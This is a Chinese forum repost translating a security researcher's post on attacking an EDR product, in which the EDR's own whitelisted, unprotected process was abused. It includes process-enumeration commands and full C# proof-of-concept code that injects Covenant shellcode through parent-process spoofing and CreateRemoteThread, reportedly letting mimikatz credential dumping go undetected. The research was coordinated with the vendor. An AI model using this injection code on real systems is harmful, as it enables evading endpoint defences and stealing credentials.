攻击 EDR 第一部分
本帖最后由 kitty 于 2023-12-12 17:26 编辑英文原文:https://riccardoancarani.github.io/2023-08-03-attacking-an-edr-part-1/
一、介绍
本篇文章详细介绍现代 EDR 产品中的一些常见缺陷,这绝不是一个完整的参考,但希望提供一些实用的工具来分析这些产品,并尝试从黑盒的角度理解它们的功能。
这些攻击实际上是针对某些 EDR 顶级产品,我们很幸运,供应商热衷于合作并为我们提供了一个测试平台,让我们能够以安全且受控的方式进行实验。我们相信,如果没有这种合作,就不可能取得所做的结果,希望未来 EDR 能够更加开放地接受研究人员的测试。不用说,与我们合作的特定供应商非常热衷于进行这种合作并解决了报告的所有问题。
我们将这款产品称为 STRANGETRINITY,遵循的方法部分基于现有的研究,不可能不提及 MDSec 对 Cylance 的研究。总而言之,我们收集了之前的研究,并从配置和检测的角度确定了操作系统中存在 EDR 的各个位置:
[*]注入的 DLL;
[*]注册表项;
[*]网络通讯;
[*]安装/卸载进程;
[*]文件隔离;
在进行这项研究时,我们没有执行任何基于内核的分析,因为还不具备这些技能。请注意,第一部分是在 2020 年进行的技术,因此请记住,在过去三年中,进攻和防御技术的发展都取得了极快的进步。因此,不能保证该技术适用于现在的 (2023 年) EDR。
二、漏洞
这项研究从一个简单的假设开始:
如果某个进程没有在内存中加载 EDR 挂钩 DLL,但其他进程加载了,则必须以某种方式将其列入白名单。对于那些不熟悉 EDR 架构的人来说,至少在过去,他们中的大多数人都习惯在大多数用户态进程中注入 DLL。这样做的目的之一是执行用户态挂钩。挂钩是一种转移正常 API 调用流程以修改其功能的做法,对于游戏作弊开发人员来说非常熟悉不过。 EDR 利用 API 挂钩来检查各种 API 参数,这些参数可能被恶意软件滥用来执行进程注入等操作。我们的想法很简单,如果一个进程没有 DLL,那么它很可能不会像有 DLL 的进程那样受到检查。
如何验证这个假设呢?我们首先搜索安装了产品但未加载 DLL 的虚拟机中的所有进程,使用了类似于以下的命令:
tasklist /m /FO CSV | findstr /i /v STRANGETRINITY.DLL
具体来说,"tasklist /m" 枚举了所有进程和加载的模块,"/FO CSV" 以 CSV 格式打印结果,随后由 "findstr" 命令过滤。有趣的是,我们得到了一些点击!
"smss.exe","324","N/A"
"csrss.exe","452","N/A"
"wininit.exe","524","N/A"
"csrss.exe","532","N/A"
"services.exe","632","N/A"
"lsass.exe","640","N/A"
"STRANGETRINITY.exe","6748", [...]
"MsMpEng.exe","2892","N/A"
"svchost.exe","688","N/A"
"SecurityHealthService.exe","1796","N/A"
列表中的大多数进程都具有保护级别 (PPL),该保护级别有效地阻止我们在不依赖漏洞利用的情况下与它们进行交互。但是,STRANGETRINITY.exe 进程没有进程保护,并且与 EDR 解决方案本身有关,接下来我们执行另一个任务列表命令来确认 DLL 确实没有被加载:
tasklist /m /fi "PID eq 6748"
Image Name PID Modules
========================= ======== ============================================
STRANGETRINITY.exe 6748 ntdll.dll,
KERNEL32.DLL, KERNELBASE.dll,
ADVAPI32.dll,
msvcrt.dll, sechost.dll, RPCRT4.dll,
USER32.dll, win32u.dll, GDI32.dll,
gdi32full.dll, msvcp_win.dll, ucrtbase.dll,
[...]
有趣的是,该进程也以当前低特权用户帐户的身份运行,这使其成为注入的良好候选者。
经过几次尝试和错误后,我们发现最有效的解决方案是利用 PPID 欺骗技术来创建一个新进程,就好像它是由 STRANGETRINITY.EXE 生成的一样。作为注入目标,我们决定生成 STRANGETRINITY.EXE 的另一个实例。
就所使用的注入技术而言,它是一个简单的 CreateRemoteThread 注入,与 Covenant shellcode 结合使用。
PoC 执行后,在测试虚拟机上获得了植入。这本身就已经令人惊讶了,因为我们使用的是已知的没有混淆的 C2 框架和极其基本的注入技术。然而,最有趣的事实是,可以从该进程执行各种后利用 TTP,并且不会检测到任何内容。举个例子,mimikatz 凭证转储 DLL 被注入内存而没有引起任何检测。
请注意,这种忽略事后 TTP 的特定行为仅在针对该特定流程注入此精确技术时才会发生。即使设法注入信标而不引起另一个不相关进程的检测,并尝试运行 mimikatz 之类的东西,会话也会被终止。
这最终证实了我们最初的假设,即该进程确实已列入白名单。与供应商技术团队的交流非常有助于了解这是无意的行为,而不是无论如何都会在雷达下飞行的各种注入技术之一。
PoC 代码
以下为 PoC 代码片段
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace GruntInjection
{
class Program
{
public const uint CreateSuspended = 0x00000004;
public const uint DetachedProcess = 0x00000008;
public const uint CreateNoWindow = 0x08000000;
public const uint ExtendedStartupInfoPresent = 0x00080000;
public const int ProcThreadAttributeParentProcess = 0x00020000;
// Hardcoded Grunt Stager
public static byte[] gruntStager = Convert.FromBase64String("[]");
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.Error.WriteLine("Invalid number of args");
return;
}
// Create new process
PROCESS_INFORMATION pInfo = CreateTargetProcess(args, int.Parse(args));
// Allocate memory
IntPtr allocatedRegion = VirtualAllocEx(pInfo.hProcess, IntPtr.Zero, (uint)gruntStager.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ReadWrite);
// Copy Grunt PIC to new process
UIntPtr bytesWritten;
WriteProcessMemory(pInfo.hProcess, allocatedRegion, gruntStager, (uint)gruntStager.Length, out bytesWritten);
// Change memory region to RX
MemoryProtection oldProtect;
VirtualProtectEx(pInfo.hProcess, allocatedRegion, (uint)gruntStager.Length, MemoryProtection.ExecuteRead, out oldProtect);
// Create the new thread
CreateRemoteThread(pInfo.hProcess, IntPtr.Zero, 0, allocatedRegion, IntPtr.Zero, 0, IntPtr.Zero);
}
public static PROCESS_INFORMATION CreateTargetProcess(string targetProcess, int parentProcessId)
{
STARTUPINFOEX sInfo = new STARTUPINFOEX();
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
sInfo.StartupInfo.cb = (uint)Marshal.SizeOf(sInfo);
IntPtr lpValue = IntPtr.Zero;
try
{
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
uint flags = CreateSuspended | DetachedProcess | CreateNoWindow | ExtendedStartupInfoPresent;
IntPtr lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
sInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(sInfo.lpAttributeList, 1, 0, ref lpSize);
IntPtr parentHandle = Process.GetProcessById(parentProcessId).Handle;
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, parentHandle);
UpdateProcThreadAttribute(sInfo.lpAttributeList, 0, (IntPtr)ProcThreadAttributeParentProcess, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfo, out pInfo);
return pInfo;
}
finally
{
DeleteProcThreadAttributeList(sInfo.lpAttributeList);
Marshal.FreeHGlobal(sInfo.lpAttributeList);
Marshal.FreeHGlobal(lpValue);
}
}
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
public struct STARTUPINFO
{
public uint cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdErr;
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
四、结尾
为了结束这个传奇故事的第一篇文章,可以强调这样一个事实:这些产品虽然强大并且在全球范围内取得广泛成功,产品汇聚着高水平技术专业知识,但仍然存在一些漏洞。尽管展示的漏洞非常简单,但其影响是不可否认的。
与专注于防御单个或有限数量进程的反作弊产品不同,当涉及 EDR (端点检测和响应) 时,攻击面要广泛得多。这导致做出的选择或假设将不可避免地被攻击者利用。在接下来的文章中,将演示如何在代理和租户之间的通信协议中攻击这些解决方案,以及如何以便携式可执行文件的形式针对这些产品通常准备在安装它们的系统中使用的单个实用程序。
页:
[1]